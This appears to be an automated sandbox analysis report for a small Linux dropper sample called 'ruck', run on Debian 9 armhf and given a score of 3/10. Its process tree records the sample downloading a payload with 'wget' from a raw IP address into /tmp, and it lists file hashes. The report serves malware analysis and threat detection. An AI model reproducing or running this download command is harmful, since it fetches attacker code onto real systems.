Overview

overview

3

Static

static

1

ruck

ubuntu-18.04-amd64

3

ruck

debian-9-armhf

3

ruck

debian-9-mips

ruck

debian-9-mipsel

Analysis

  • max time kernel
    139s
  • max time network
    141s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    10/08/2026, 12:25

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    ruck
  • Size 269B
  • Sample260810-pl2k8sydla
  • SHA256 f9aa3b65515ae2d2d1eb9b3076f95c4154b55db6cf8bcd6baf1a17eb3458b6fd
  • MD5 SHA1 SHA512 TLSH
Score
3/10

Malware Config

Signatures

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ruck
    /tmp/ruck
    1⤵
      PID:644
      • /bin/rm
        rm -rf .r
        2⤵
          PID:646
        • /usr/bin/wget
          wget -O .r http://160.191.242.92/ar7
          2⤵
          • Writes file to tmp directory
          PID:648

      Network

            MITRE ATT&CK Matrix

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            .r
            • Path /tmp/.r
            • Size 288KB
            • SHA256 598809de53cc22a87a92cc0d9d2e1a5abf1bcf8353c19bf57198efff134b7bd5
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download